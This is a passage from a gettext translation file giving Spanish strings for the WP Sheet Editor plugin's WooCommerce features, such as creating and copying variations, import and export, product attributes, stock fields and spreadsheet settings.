woocommerce/inc/downloadable.php:371 woocommerce/inc/variations.php:1317 msgid "Please select a product." msgstr "Por favor, selecciona un producto." #: woocommerce/inc/downloadable.php:401 msgid "Files saved." msgstr "Archivos guardados." #: woocommerce/inc/downloadable.php:404 msgid "The files could not be saved." msgstr "Los archivos no se pudieron guardar." #: woocommerce/inc/formatting.php:57 msgid "" "The \"Regular price\" column is hidden now. Please enable it in the columns " "manager before running this bulk edit." msgstr "" "La columna \"Precio normal\" está oculta. Actívala en el gestor de columnas " "antes de realizar esta edición masiva." #: woocommerce/inc/import-export.php:97 woocommerce/woocommerce.php:701 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:498 msgid "Type" msgstr "Tipo" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:98 woocommerce/inc/import-export.php:196 #: woocommerce/woocommerce.php:403 msgid "Attribute %d name" msgstr "Nombre del atributo %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:99 woocommerce/inc/import-export.php:197 #: woocommerce/woocommerce.php:405 msgid "Attribute %d value(s)" msgstr "Valor del/los atributo(s) %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:100 woocommerce/inc/import-export.php:198 #: woocommerce/woocommerce.php:407 msgid "Attribute %d visible" msgstr "Atributo %d visible" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:101 woocommerce/inc/import-export.php:199 #: woocommerce/woocommerce.php:409 msgid "Attribute %d global" msgstr "Atributo %d global" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:200 woocommerce/woocommerce.php:411 msgid "Attribute %d default" msgstr "Atributo %d por defecto" #. translators: %d: Download number #: woocommerce/inc/import-export.php:203 woocommerce/woocommerce.php:413 msgid "Download %d name" msgstr "Nombre de la descarga %d" #: woocommerce/inc/import-export.php:204 msgid "Download %d ID" msgstr "ID de la descarga %d" #. translators: %d: Download number #: woocommerce/inc/import-export.php:205 woocommerce/woocommerce.php:415 msgid "Download %d URL" msgstr "URL de la descarga %d" #: woocommerce/inc/import-export.php:319 msgid "Skip broken images?" msgstr "¿Omitir las imágenes rotas?" #: woocommerce/inc/import-export.php:319 msgid "" "By the default, the import stops when a product references a broken images " "and you have to correct the issue in the file and start a new import. Enable " "this option and we will let you import products without images when the " "image url is broken" msgstr "" "Por defecto, la importación se detiene cuando un producto hace referencia a " "una imagen rota y hay que corregir el problema en el archivo e iniciar una " "nueva importación. Habilita esta opción y te permitiremos importar productos " "sin imágenes cuando la URL de la imagen esté rota" #: woocommerce/inc/import-export.php:326 msgid "Downloads" msgstr "Descargas" #: woocommerce/inc/import-export.php:327 msgid "Attributes" msgstr "Atributos" #: woocommerce/inc/import-export.php:458 msgid "" "Here is a sample CSV containing all " "types of products." msgstr "" "Aquí hay un archivo CSV como ejemplo " "que contiene todo tipo de productos." #: woocommerce/inc/import-export.php:617 msgid "" "One variation row has a parent product that does not exist. The \"parent\" " "column contains the %1$s: %2$s. Please correct it and start a new import" msgstr "" "Una fila de variación tiene un producto padre que no existe. La columna " "\"padre\" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva " "importación" #: woocommerce/inc/variations.php:28 #: woocommerce/views/spreadsheet-create-variations-modal.php:10 #: woocommerce/views/spreadsheet-create-variations-modal.php:75 #: wp-sheet-editor/dev/inc/api/editor.php:324 msgid "Create variations" msgstr "Crear variaciones" #: woocommerce/inc/variations.php:30 msgid "Create and copy variations for variable products." msgstr "Crear y copiar variaciones para los productos variables." #: woocommerce/inc/variations.php:38 msgid "Display variations" msgstr "Mostrar las variaciones" #: woocommerce/inc/variations.php:40 msgid "" "When this is enabled the products variations will be displayed and you will " "be able to edit them." msgstr "" "Cuando esta opción está habilitada, las variaciones de los productos se " "mostrarán y podrás editarlas." #: woocommerce/inc/variations.php:362 msgid "Edit only parent products" msgstr "Editar solo los productos simples y padres" #: woocommerce/inc/variations.php:363 msgid "Edit only variations" msgstr "Editar solo las variaciones" #: woocommerce/inc/variations.php:410 msgid "Allow to edit this column on variation rows?" msgstr "¿Permitir editar esta columna en las filas de variaciones?" #: woocommerce/inc/variations.php:411 msgid "" "We automatically allow columns for variations if at least one variation is " "using that field." msgstr "" "Automáticamente, permitimos la edición de columnas en filas de variaciones " "si al menos una variación usa ese campo." #: woocommerce/inc/variations.php:458 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:889 msgid "Variation description" msgstr "Descripción de la variación" #: woocommerce/inc/variations.php:469 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:907 msgid "Variation enabled?" msgstr "¿Variación habilitada?" #: woocommerce/inc/variations.php:486 woocommerce/inc/variations.php:488 #: woocommerce/inc/variations.php:490 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:926 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:928 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:930 msgid "Default attributes" msgstr "Atributos predeterminados" #: woocommerce/inc/variations.php:491 msgid "" "Attributes appear as dropdowns in the product page where the user can select " "the variation colors, sizes, and any attribute. Here you can define the " "default options selected in the dropdowns.
                  Separate values with the " "character %s
                  This only works for Variable Products and it must have " "variations, otherwise the default attributes won't be saved." msgstr "" "Los atributos aparecen como desplegables en la página del producto, donde el " "usuario puede seleccionar los colores, tamaños y cualquier atributo de la " "variación. Aquí se pueden definir las opciones por defecto seleccionadas en " "los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo " "funciona para Productos Variables y deben tener variaciones, de lo contrario " "los atributos por defecto no se guardarán." #: woocommerce/inc/variations.php:935 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:136 msgid "Variation: %s" msgstr "Variación: %s" #: woocommerce/inc/variations.php:1090 woocommerce/inc/variations.php:1260 msgid "" "Please update all the WP Sheet Editor plugins. This feature requires the " "latest version of all our plugins." msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Esta función requiere la última versión de todos nuestros " "plugins." #: woocommerce/inc/variations.php:1105 msgid "The source product doesn't have variations." msgstr "El producto fuente no tiene variaciones." #: woocommerce/inc/variations.php:1256 woocommerce/inc/variations.php:1283 #: wp-sheet-editor/dev/inc/ajax.php:198 msgid "Request not allowed. Try again later." msgstr "Solicitud no permitida. Inténtalo más tarde." #: woocommerce/inc/variations.php:1267 msgid "We don't have variations to copy." msgstr "No encontramos variaciones para copiar." #: woocommerce/inc/variations.php:1272 msgid "{total_created} of {total} variations created." msgstr "{total_created} de {total} variaciones han sido creadas." #: woocommerce/inc/variations.php:1364 woocommerce/inc/variations.php:1465 msgid "%s variations created." msgstr "%s variaciones creadas." #: woocommerce/inc/variations.php:1376 msgid "Target products not found." msgstr "Productos de destino no encontrados." #: woocommerce/inc/variations.php:1481 msgid "" "The option to create variations for every combination of attributes requires " "WooCommerce 3.0 or higher. Please update WooCommerce." msgstr "" "La opción de crear variaciones para cada combinación de atributos requiere " "WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce." #: woocommerce/inc/variations.php:1485 msgid "User not allowed" msgstr "Usuario no autorizado" #: woocommerce/inc/variations.php:1489 msgid "Data missing, try again later." msgstr "Faltan datos, inténtalo de nuevo más tarde." #: woocommerce/inc/variations.php:1506 msgid "Wrong product type. Make sure it is a variable product." msgstr "Tipo de producto equivocado. Asegúrate que sea un producto variable." #: woocommerce/inc/variations.php:1621 msgid "Please select a source product." msgstr "Por favor, selecciona un producto de origen." #: woocommerce/inc/variations.php:1799 msgid "Error on row ID: %d - %s" msgstr "Error en la fila con el ID: %d - %s" #: woocommerce/inc/variations.php:1806 msgid "Please correct the error and save again." msgstr "Por favor, corrige el error y guarda de nuevo." #: woocommerce/views/spreadsheet-create-variations-modal.php:8 msgid "Variations Manager" msgstr "Gestor de Variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:11 #: woocommerce/views/spreadsheet-create-variations-modal.php:15 msgid "Copy variations" msgstr "Copiar variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:16 #: woocommerce/views/spreadsheet-create-variations-modal.php:76 msgid "Tutorial" msgstr "Tutorial" #: woocommerce/views/spreadsheet-create-variations-modal.php:20 msgid "Copy variations and attributes from this product:" msgstr "Copiar variaciones y atributos de este producto:" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "I don't want to copy all the variations" msgstr "No quiero copiar todas las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "" "By default we will copy all the attributes and all the variations and " "replace the existing variations. You can activate this option to copy " "individual variations and append them to the existing variations in the " "target product." msgstr "" "Por defecto, copiaremos todos los atributos y todas las variaciones y " "reemplazaremos las variaciones existentes. Puedes habilitar esta opción para " "copiar variaciones individuales y añadirlas a las variaciones existentes en " "el producto de destino." #: woocommerce/views/spreadsheet-create-variations-modal.php:31 msgid "Which variations do you want to copy?" msgstr "¿Qué variaciones quieres copiar?" #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "The variations are for these products: " msgstr "Las variaciones son para este/estos producto(s): " #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "Copy the variations into these products." msgstr "Copiar las variaciones este/estos producto(s)." #: woocommerce/views/spreadsheet-create-variations-modal.php:42 #: woocommerce/views/spreadsheet-create-variations-modal.php:83 msgid "Select individual products" msgstr "Seleccionar productos individuales" #: woocommerce/views/spreadsheet-create-variations-modal.php:43 #: woocommerce/views/spreadsheet-create-variations-modal.php:84 msgid "Select all the products from a search" msgstr "Seleccionar todos los productos de una búsqueda" #: woocommerce/views/spreadsheet-create-variations-modal.php:44 msgid "All the products in the store" msgstr "Todos los productos de la tienda" #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "I understand it will update the products from my search." msgstr "Entiendo que se editarán los productos de mi búsqueda." #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "" "For example, if you searched for posts by author = Mark using the search " "tool, we will update only posts with author Mark" msgstr "" "Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta " "de búsqueda, actualizaremos sólo los posts con el autor Marcos" #: woocommerce/views/spreadsheet-create-variations-modal.php:53 msgid "Show advanced options " msgstr "Mostrar opciones avanzadas " #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "Use prices from simple product (parent) on the variations" msgstr "Usar los precios del producto simple (Padre) para las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "" "You can convert simple products into variable products. You can copy " "variations into a simple product and keep the prices from the simple product " "on the variations." msgstr "" "Puedes convertir productos simples en productos variables. Puedes copiar las " "variaciones en un producto simple y mantener los precios del producto simple " "en las variaciones." #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "Only copy new variations" msgstr "Copiar solo las variaciones nuevas" #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "" "The existing variations in the target products will not be edited nor " "overwritten." msgstr "" "Las variaciones existentes en los productos de destino no serán editadas ni " "sobrescritas." #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "Do not copy the variation images?" msgstr "¿No copiar las imágenes de las variaciones?" #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "" "Enable this option if you want to copy all the variation data, except the " "variation image." msgstr "" "Habilita esta opción si quieres copiar todos los datos de la variación, " "excepto la imagen de la variación." #: woocommerce/views/spreadsheet-create-variations-modal.php:67 msgid "" "Warning: Please make a backup before copying variations in case you want to " "undo the changes later." msgstr "" "Advertencia: Por favor, haz una copia de seguridad en caso de que quieras " "deshacer los cambios después." #: woocommerce/views/spreadsheet-create-variations-modal.php:85 msgid "All the variable products" msgstr "Todos los productos variables" #: woocommerce/views/spreadsheet-create-variations-modal.php:96 msgid "Create variations for every combination of attributes?" msgstr "¿Crear variaciones para cada combinación de atributos?" #: woocommerce/views/spreadsheet-create-variations-modal.php:99 msgid "Create this number of variations" msgstr "Crear este número de variaciones" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "Search on variations?" msgstr "¿Buscar variaciones?" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "" "All the parameters will be used to search on variations instead of the main " "products." msgstr "" "Todos los parámetros se utilizarán para buscar variaciones en lugar de los " "productos principales." #: woocommerce/views/variation-metabox-shortcut.php:10 msgid "" "WP Sheet Editor: You can view all these variations and edit them all " "at once in our spreadsheet. Open in a " "spreadsheet" msgstr "" "WP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas " "a la vez en nuestra hoja de cálculo. Abrir " "en una hoja de cálculo" #: woocommerce/woocommerce.php:181 msgid "Remove duplicates by sku (delete the latest)" msgstr "Borrar duplicados por SKU (borrar los más nuevos)" #: woocommerce/woocommerce.php:189 msgid "Remove duplicates by sku (delete the oldest)" msgstr "Borrar duplicados por SKU (borrar los más viejos)" #: woocommerce/woocommerce.php:213 msgid "Copy regular price and decrease number" msgstr "Copiar el precio normal y disminuir en cantidad" #: woocommerce/woocommerce.php:230 msgid "Copy regular price and decrease by percentage" msgstr "Copiar precio normal y disminuir en porcentaje" #: woocommerce/woocommerce.php:278 msgid "Copy variations faster: Number of variations to copy per batch" msgstr "Copiar variaciones más rápido: Número de variaciones a copiar por lote" #: woocommerce/woocommerce.php:279 msgid "" "Here you can control the batch size for the copy of variations. If you use a " "high number the copy will finish faster but it can saturate your server. We " "recommend a low value like 50 so it will not saturate your server although " "it might be slower" msgstr "" "Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas " "un valor alto, la copia terminará más rápido pero puede saturar tu servidor. " "Recomendamos copiar 50 por tanda." #: woocommerce/woocommerce.php:284 msgid "WooCommerce products" msgstr "Productos WooCommerce" #: woocommerce/woocommerce.php:289 msgid "Disable product inventory stats?" msgstr "¿Deshabilitar las estadísticas de inventario de productos?" #: woocommerce/woocommerce.php:290 msgid "" "The WooCommerce products spreadsheet automatically generates inventory units " "and inventory price stats and shows the stats above the spreadsheet. This " "can slow down the sheet if you have several thousand products. Disable it if " "the spreadsheet is too slow or you see errors when loading rows." msgstr "" "La hoja de cálculo de productos de WooCommerce genera automáticamente las " "unidades de inventario y las estadísticas de precios de inventario y muestra " "las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja " "si tienes varios miles de productos. Desactívalo si la hoja de cálculo es " "demasiado lenta o ves errores al cargar las filas." #: woocommerce/woocommerce.php:296 msgid "Use separate columns for images during export and import?" msgstr "" "¿Usar columnas separadas para las imágenes durante la exportación e " "importación?" #: woocommerce/woocommerce.php:297 msgid "" "By default, we export and import one column named \"Images\" with the " "featured image and gallery images combined. Activate this option to export " "and import one column with featured image and one column with gallery images" msgstr "" "Por defecto, exportamos e importamos una columna llamada \"Imágenes\" con la " "imagen destacada y galería combinada. Habilita esta opción para exportar e " "importar una columna para la imagen destacada y una para la galería de " "imágenes." #: woocommerce/woocommerce.php:303 msgid "" "Disable the automatic activation of \"used for variations\" for attributes " "on variable products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Usar para " "variaciones\" para los atributos en los productos variables?" #: woocommerce/woocommerce.php:304 msgid "" "By default, if the product is variable, we activate \"used for variations\" " "to save you time, so you can create your variations faster. But if you " "prefer to manually activate it on specific attributes, you can activate this " "option." msgstr "" "Por defecto, si el producto es variable, activamos la opción \"Usar para " "variaciones\" para ahorrarte tiempo y que puedas crear tus variaciones más " "rápido. Pero si prefieres activar esa opción manualmente en atributos " "específicos, puedes activar esta opción." #: woocommerce/woocommerce.php:310 msgid "" "Disable the automatic activation of \"is visible\" for attributes on " "products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Es visible\" para los " "atributos de los productos?" #: woocommerce/woocommerce.php:311 msgid "" "By default, we make the attributes visible in the products when you save any " "attribute in the spreadsheet to save you time, but if you prefer to manually " "activate it on specific attributes, you can activate this option." msgstr "" "Por defecto, hacemos visibles los atributos en los productos cuando guardas " "cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si " "prefieres habilitar esta opción manualmente en atributos específicos, puedes " "activar esta opción." #: woocommerce/woocommerce.php:317 msgid "Product attributes not visible" msgstr "Atributos de producto no visibles" #: woocommerce/woocommerce.php:318 msgid "" "The plugin will mark as visible all the attributes that DONT contain these " "keywords in the attribute key, enter multiple separated by comma. I.e. " "\"car, airplane\" would match \"Car model, Car marker, Expensive Airplane, " "airplanes\". This applies after editing a product in the spreadsheet cells." msgstr "" "El plugin marcará como visibles todos los atributos que NO contengan estas " "palabras clave en la clave del atributo, ingresa varias separadas por comas. " "Por ejemplo, \"coche, avión\" coincidiría con \"Modelo de coche, Marca de " "coche, Avión caro, Aviones\". Esto se aplica después de editar un producto " "en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:323 msgid "Product attributes not used for variations" msgstr "Atributos de producto no usados para las variaciones" #: woocommerce/woocommerce.php:324 msgid "" "The plugin will mark as used for variations all the attributes that DONT " "contain these keywords in the attribute key, enter multiple separated by " "comma. I.e. \"car, airplane\" would match \"Car model, Car marker, Expensive " "Airplane, airplanes\". This applies after editing a product in the " "spreadsheet cells." msgstr "" "El plugin marcará como usados para variaciones todos los atributos que NO " "contengan estas palabras clave en la clave del atributo, ingresa varias " "separadas por comas. Por ejemplo, \"coche, avión\" coincidiría con \"Modelo " "de coche, Marca de coche, Avión caro, Aviones\". Esto se aplica después de " "editar un producto en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:329 msgid "Maximum number of variations per combination of attributes" msgstr "Número máximo de variaciones por combinación de atributos" #: woocommerce/woocommerce.php:330 msgid "" "The \"Create variations\" tool allows you to create variation based on the " "combination of attributes. The default limit is 200 variations to not " "overload your server. You can increase the limit here if you need more " "variations." msgstr "" "La herramienta \"Crear variaciones\" te permite crear variaciones basadas en " "la combinación de atributos. El límite por defecto es de 200 variaciones " "para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas " "más variaciones." #: woocommerce/woocommerce.php:335 msgid "Custom attribute names" msgstr "Nombres de atributos personalizados" #: woocommerce/woocommerce.php:336 msgid "We will create columns for these custom attributes." msgstr "Crearemos columnas para estos atributos personalizados." #: woocommerce/woocommerce.php:341 msgid "Allow to see the variation URL slug?" msgstr "¿Permitir ver el slug de la URL de la variación?" #: woocommerce/woocommerce.php:342 msgid "" "Variations dont use URL slugs but this can be useful if you want to see the " "previous URL of the variation after you converted a simple product into a " "variation." msgstr "" "Las variaciones no usan URL slugs pero esto puede ser útil si quieres ver la " "URL anterior de la variación después de convertir un producto simple en una " "variación." #: woocommerce/woocommerce.php:348 msgid "Update the lookup table and run the WC Webhooks always?" msgstr "" "¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de " "WooCommerce?" #: woocommerce/woocommerce.php:349 msgid "" "By default, for performance reasons, we trigger the WC API events when " "fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, " "Type. Activate this option if you want to trigger the WC API events when any " "field is edited, including fields unrelated to WC." msgstr "" "Por defecto, por razones de rendimiento, activamos los eventos de la API WC " "cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, " "Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos " "de la API de WC cuando se edite cualquier campo, incluidos los campos no " "relacionados con WC." #. translators: %d: Attribute number #: woocommerce/woocommerce.php:403 woocommerce/woocommerce.php:422 msgid "Attribute name" msgstr "Nombre del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:405 woocommerce/woocommerce.php:424 msgid "Attribute value(s)" msgstr "Valor(es) del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:407 woocommerce/woocommerce.php:426 msgid "Attribute visibility" msgstr "Visibilidad del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:409 woocommerce/woocommerce.php:428 msgid "Is a global attribute?" msgstr "¿Es un atributo global?" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:411 woocommerce/woocommerce.php:430 msgid "Default attribute" msgstr "Atributo por defecto" #. translators: %d: Download number #: woocommerce/woocommerce.php:413 woocommerce/woocommerce.php:432 msgid "Download name" msgstr "Nombre de la descarga" #. translators: %d: Download number #: woocommerce/woocommerce.php:415 woocommerce/woocommerce.php:434 msgid "Download URL" msgstr "URL de la descarga" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 msgid "Meta: %s" msgstr "Meta: %s" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 woocommerce/woocommerce.php:436 msgid "Import as meta data" msgstr "Importar como metadatos" #: woocommerce/woocommerce.php:418 wp-sheet-editor/dev/inc/ajax.php:358 msgid "Tags" msgstr "Etiquetas" #: woocommerce/woocommerce.php:418 woocommerce/woocommerce.php:437 msgid "Tags (comma separated)" msgstr "Etiquetas (separadas por comas)" #: woocommerce/woocommerce.php:514 msgid "Inventory" msgstr "Inventario" #: woocommerce/woocommerce.php:576 msgid "" "We need to reload the spreadsheet rows to load the variations. Please save " "your changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar las filas de la hoja de cálculo para cargar las " "variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres " "recargar ahora?" #: woocommerce/woocommerce.php:577 msgid "" "We need to reload the Spreadsheet to remove the variations. Please save your " "changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por " "favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?" #: woocommerce/woocommerce.php:625 #: wp-sheet-editor/dev/inc/teasers/post-types.php:109 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:461 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:462 msgid "Short description" msgstr "Descripción corta" #: woocommerce/woocommerce.php:629 #: wp-sheet-editor/dev/inc/teasers/post-types.php:121 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:466 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:467 msgid "Enable reviews" msgstr "Habilitar las valoraciones" #: woocommerce/woocommerce.php:651 wp-sheet-editor/dev/inc/api/helpers.php:540 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:976 msgid "..." msgstr "..." #: woocommerce/woocommerce.php:682 msgid "Vendor" msgstr "Vendedor" #: woocommerce/woocommerce.php:722 msgid "Product gallery" msgstr "Galería del producto" #: woocommerce/woocommerce.php:737 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:509 msgid "SKU" msgstr "SKU" #: woocommerce/woocommerce.php:750 #: wp-sheet-editor/dev/inc/teasers/post-types.php:112 msgid "Regular price" msgstr "Precio normal" #: woocommerce/woocommerce.php:765 #: wp-sheet-editor/dev/inc/teasers/post-types.php:111 msgid "Sale price" msgstr "Precio rebajado" #: woocommerce/woocommerce.php:778 msgid "Sale start date" msgstr "Fecha inicial del precio rebajado" #: woocommerce/woocommerce.php:804 msgid "Sale end date" msgstr "Fecha final del precio rebajado" #: woocommerce/woocommerce.php:829 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:594 msgid "Manage stock" msgstr "Gestionar de inventario" #: woocommerce/woocommerce.php:849 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:612 msgid "Stock status" msgstr "Estado del inventario" #: woocommerce/woocommerce.php:866 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:630 msgid "Stock" msgstr "Inventario" #: woocommerce/woocommerce.php:879 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:547 msgid "Weight" msgstr "Peso (kg)" #: woocommerce/woocommerce.php:890 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:559 msgid "Width" msgstr "Anchura" #: woocommerce/woocommerce.php:901 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:571 msgid "Height" msgstr "Altura" #: woocommerce/woocommerce.php:912 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:583 msgid "Length" msgstr "Longitud" #: woocommerce/woocommerce.php:922 msgid "Cross-sells" msgstr "Ventas cruzadas" #: woocommerce/woocommerce.php:929 woocommerce/woocommerce.php:946 msgid "Enter multiple SKUs or IDs separated by commas" msgstr "Ingresa varios SKUs o IDs separados por comas" #: woocommerce/woocommerce.php:939 msgid "Upsells" msgstr "Ventas dirigidas" #: woocommerce/woocommerce.php:958 #: wp-sheet-editor/dev/inc/teasers/post-types.php:116 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:642 msgid "Visibility" msgstr "Visibilidad" #: woocommerce/woocommerce.php:974 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:684 msgid "Virtual" msgstr "Virtual" #: woocommerce/woocommerce.php:993 #: wp-sheet-editor/dev/inc/teasers/post-types.php:119 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:724 msgid "Sold individually" msgstr "Vendido individualmente" #: woocommerce/woocommerce.php:1010 msgid "Is featured?" msgstr "Es destacado?" #: woocommerce/woocommerce.php:1028 msgid "Backorders allowed?" msgstr "¿Permitir reservas?" #: woocommerce/woocommerce.php:1034 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:762 msgid "Do not allow" msgstr "No permitir" #: woocommerce/woocommerce.php:1035 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:763 msgid "Allow, but notify customer" msgstr "Permitir, pero se avisará al cliente" #: woocommerce/woocommerce.php:1036 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:764 msgid "Allow" msgstr "Permitir" #: woocommerce/woocommerce.php:1049 #: wp-sheet-editor/dev/inc/teasers/post-types.php:120 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:776 msgid "Purchase note" msgstr "Nota de compra" #: woocommerce/woocommerce.php:1061 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:789 msgid "Shipping class" msgstr "Clase de envío" #: woocommerce/woocommerce.php:1076 msgid "Average rating" msgstr "Puntuación media" #: woocommerce/woocommerce.php:1086 msgid "Review count" msgstr "Recuento de valoraciones" #: woocommerce/woocommerce.php:1096 msgid "Total sales" msgstr "Ventas totales" #: wp-sheet-editor/dev/inc/ajax.php:40 msgid "Rows deleted successfully" msgstr "Filas eliminadas con éxito" #: wp-sheet-editor/dev/inc/ajax.php:76 msgid "You dont have enough permissions to load rows." msgstr "No tienes suficientes permisos para cargar filas." #: wp-sheet-editor/dev/inc/ajax.php:123 wp-sheet-editor/dev/inc/ajax.php:240 #: wp-sheet-editor/dev/inc/ajax.php:244 msgid "You dont have enough permissions to save changes." msgstr "No tienes suficientes permisos para guardar los cambios." #: wp-sheet-editor/dev/inc/ajax.php:148 msgid "Changes saved successfully" msgstr "Los cambios se guardaron con éxito" #: wp-sheet-editor/dev/inc/ajax.php:163 msgid "You dont have enough permissions to create new rows." msgstr "No tienes suficientes permisos para crear nuevas filas." #: wp-sheet-editor/dev/inc/ajax.php:218 msgid "No items found." msgstr "No se han encontrado artículos." #: wp-sheet-editor/dev/inc/ajax.php:269 msgid "Saved: %s" msgstr "Guardado: %s" #: wp-sheet-editor/dev/inc/ajax.php:288 wp-sheet-editor/dev/inc/ajax.php:313 #: wp-sheet-editor/dev/inc/ajax.php:386 msgid "You dont have enough permissions to search taxonomy terms." msgstr "No tienes suficientes permisos para buscar taxonomías." #: wp-sheet-editor/dev/inc/ajax.php:336 msgid "No taxonomies found." msgstr "No se han encontrado taxonomías." #: wp-sheet-editor/dev/inc/api/bootstrap.php:107 msgid "Open in a Spreadsheet" msgstr "Abrir en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/api/bootstrap.php:132 #: wp-sheet-editor/dev/inc/api/columns.php:314 #: wp-sheet-editor/dev/inc/teasers/post-types.php:61 msgid "Edit %s" msgstr "Editar %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:209 #: wp-sheet-editor/dev/views/support-modal.php:6 #: wp-sheet-editor/dev/views/usage-stats-widget.php:126 msgid "Help" msgstr "Ayuda" #: wp-sheet-editor/dev/inc/api/bootstrap.php:223 #: wp-sheet-editor/dev/views/whats-new.php:45 #: wp-sheet-editor/dev/wp-sheet-editor.php:1148 msgid "Extensions" msgstr "Extensiones" #: wp-sheet-editor/dev/inc/api/bootstrap.php:238 #: wp-sheet-editor/dev/views/editor-page.php:159 msgid "Global sort" msgstr "Orden global" #: wp-sheet-editor/dev/inc/api/bootstrap.php:250 msgid "We'll reload the spreadsheet when you change this option." msgstr "Recargaremos la hoja de cálculo cuando cambies esta opción." #: wp-sheet-editor/dev/inc/api/bootstrap.php:252 msgid "Sort" msgstr "Ordenar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:277 #: wp-sheet-editor/dev/inc/api/editor.php:351 msgid "You can create new items here" msgstr "Puedes crear nuevas filas aquí" #: wp-sheet-editor/dev/inc/api/bootstrap.php:288 msgid "Load" msgstr "Cargar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:299 msgid "Exit Full Screen" msgstr "Salir del modo de Pantalla Completa" #: wp-sheet-editor/dev/inc/api/bootstrap.php:310 msgid "Show cells as simple text" msgstr "Mostrar las celdas como texto simple" #: wp-sheet-editor/dev/inc/api/bootstrap.php:313 msgid "" "By default dates show in a calendar, post content has a text editor option, " "images show preview, etc. you can enable this option to display everything " "as plain text and disable the fancy formatting." msgstr "" "Por defecto, las fechas se muestran en un calendario, el contenido del post " "tiene una opción de editor de texto, las imágenes muestran una vista previa, " "etc. Puedes habilitar esta opción para que se muestre todo como texto sin " "formato y deshabilitar el formato elegante." #: wp-sheet-editor/dev/inc/api/bootstrap.php:324 msgid "Load more on scroll" msgstr "Cargar más al hacer scroll" #: wp-sheet-editor/dev/inc/api/bootstrap.php:327 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page" msgstr "" "Cuando esta opción está habilitada, se cargarán más elementos en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página" #: 